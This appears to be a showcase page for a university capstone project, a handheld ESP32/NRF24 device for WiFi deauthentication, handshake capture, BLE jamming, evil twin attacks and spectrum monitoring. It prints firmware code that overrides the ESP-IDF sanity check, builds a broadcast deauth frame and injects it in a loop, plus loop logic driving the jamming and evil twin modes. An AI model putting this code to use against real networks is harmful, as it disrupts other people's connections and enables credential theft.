Capstone Project — SCSIT — UACS
Multi-Protocol 2.4 GHz Wireless Analysis Device
Custom ESP32 + 3× NRF24L01+ embedded device for WiFi deauthentication, WPA2 handshake capture, BLE jamming, evil twin attacks, and 2.4 GHz spectrum monitoring — on a single PCB.
Core Capabilities
Attack Vectors & Analysis
Five independent modules built from scratch -- WiFi, BLE, and RF spectrum on a single handheld device.
WiFi Reconnaissance
802.11 deauthentication frame injection, promiscuous packet capture, EAPOL handshake extraction, and evil twin with captive portal.
Spectrum Analysis
126-channel NRF24 sweep via raw SPI register access. RPD-based signal detection with 25 samples per channel, real-time OLED waterfall.
BLE / BT Jamming
Three NRF24 radios in continuous carrier TX targeting BLE advertising channels 37/38/39 or full Bluetooth 81-channel random hopping.
Implementation Deep Dive
Real Firmware Code
Constructs raw 802.11 deauth frames and injects them via esp_wifi_80211_tx(). Simultaneously, a promiscuous sniffer captures all traffic and writes packets to SD as .pcap. The sanity check bypass allows transmission of management frames that the ESP-IDF normally blocks.
// Override ESP-IDF frame sanity check to allow deauth TX extern "C" int ieee80211_raw_frame_sanity_check( int32_t arg, int32_t arg2, int32_t arg3) { return 0; } uint8_t frameArray[26] = { 0xC0, 0x00, // Type: Deauth 0x00, 0x00, // Duration 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Receiver (broadcast) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Source (AP BSSID) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BSSID 0x00, 0x00, // Seq number 0x07, 0x00 // Reason: Class 3 }; void continuous_deauth() { if (millis() - lastPacketSent >= 100) { esp_err_t result = esp_wifi_80211_tx( WIFI_IF_AP, frameArray, 26, true); lastPacketSent = millis(); frameCounter++; } }
Interactive Hardware
PCB Component Explorer
Front -- use the arrows to navigate the OLED menu
System Design
Hardware Architecture
ESP32 as central controller. Three NRF24L01+ on shared SPI bus with individual chip-selects. I2C OLED, SPI MicroSD, five GPIO buttons. All NRF CS pins held HIGH during SD access to prevent bus contention.
Software Design
Firmware Architecture
PlatformIO + Arduino-ESP32. Each feature in its own compilation unit. Central state machine orchestrates all screen transitions and input routing.
src/ ├── main.cpp // setup() + loop() orchestrator ├── config.h // GPIO pins, I2C, SPI, debounce ├── menu.cpp / menu.h // Screen enum + input dispatch ├── buttons.cpp // Debounced GPIO polling (300ms) ├── display.cpp // SSD1306 OLED I2C wrapper ├── wifi_scanner.cpp // Async WiFi scan + OLED render ├── wifi_deauth.cpp // 802.11 deauth + pcap capture ├── evil_twin.cpp // Rogue AP + captive portal ├── ble_jammer.cpp // BLE/BT continuous carrier TX ├── scanner.cpp // NRF24 126-ch spectrum sweep ├── nrf.cpp // RF24 init, shared SPI config ├── sd_card.cpp // PCAP/CSV file I/O ├── sd_browser.cpp // SD card file browser UI └── led.cpp // WS2812B NeoPixel control
Screen currentScreen = SCREEN_MAIN_MENU; const char* menuItems[] = { "Scanner", "Analyzer", "Evil Twin", "BLE Jammer", "WIFI Deauth", "WIFI Scanner", "Settings" }; void menu_handle_input(int button) { switch (currentScreen) { case SCREEN_MAIN_MENU: if (button == BT_SELECT) { currentScreen = static_cast<Screen>( selectedIndex + 1); if (currentScreen == SCREEN_WIFI_SCANNER) start_scan(); if (currentScreen == SCREEN_SCANNER) { scanner_init(); refresh_scan(); } } break; case SCREEN_WIFI_DEAUTH: switch (deauthstate) { ... } break; case SCREEN_BLE_JAMMER: switch (bleState) { ... } break; case SCREEN_EVIL_TWIN: switch (twinState) { ... } break; } }
void loop() { int btn = buttons_read(); if (btn != -1) { menu_handle_input(btn); menu_draw(); } if (currentScreen == SCREEN_WIFI_DEAUTH && deauthstate == DEAUTH_ATTACKING) { continuous_deauth(); PacketBuffer pktBuffer; while (xQueueReceive(packetQueue, &pktBuffer, 0)) pcap_write_packet(pktBuffer.data, pktBuffer.length); } if (currentScreen == SCREEN_BLE_JAMMER && bleState == BLE_JAMMING) continuous_ble_jamming(); if (currentScreen == SCREEN_SCANNER) { channel_scanning(); scanner_draw(); } if (currentScreen == SCREEN_EVIL_TWIN && twinState == TWIN_ATTACKING) evil_twin_loop(); }
Key Design Decisions
Project Overview
By the Numbers
A complete embedded system -- custom PCB, hand-soldered components, original firmware, 3D-printed enclosure -- designed and built as a single-student capstone project.
Technology Stack
Academic Context -- Bachelor capstone thesis at the University American College Skopje, School of Computer Science & IT. Supervised by Prof. Dr. Vladimir Radevski and Asst. Prof. Dr. Marija Stankova Medarovska, with co-mentorship from Nikola Nikolov. All firmware, attack pipelines, and integration work are original contributions.
Hardware Cost Analysis
Bill of Materials
Complete per-unit cost breakdown. All components sourced from LCSC, AliExpress, and JLCPCB. Prices reflect single-unit quantities -- batch pricing significantly lower.
Common Questions
FAQ
Technical details and clarifications about the nRFBOX v3 project.
Academic Merit
Original Contributions
Built upon cifertech's nRFBox v3 hardware design (MIT License, cited). All firmware, attack pipelines, server integration, and enclosure are original work.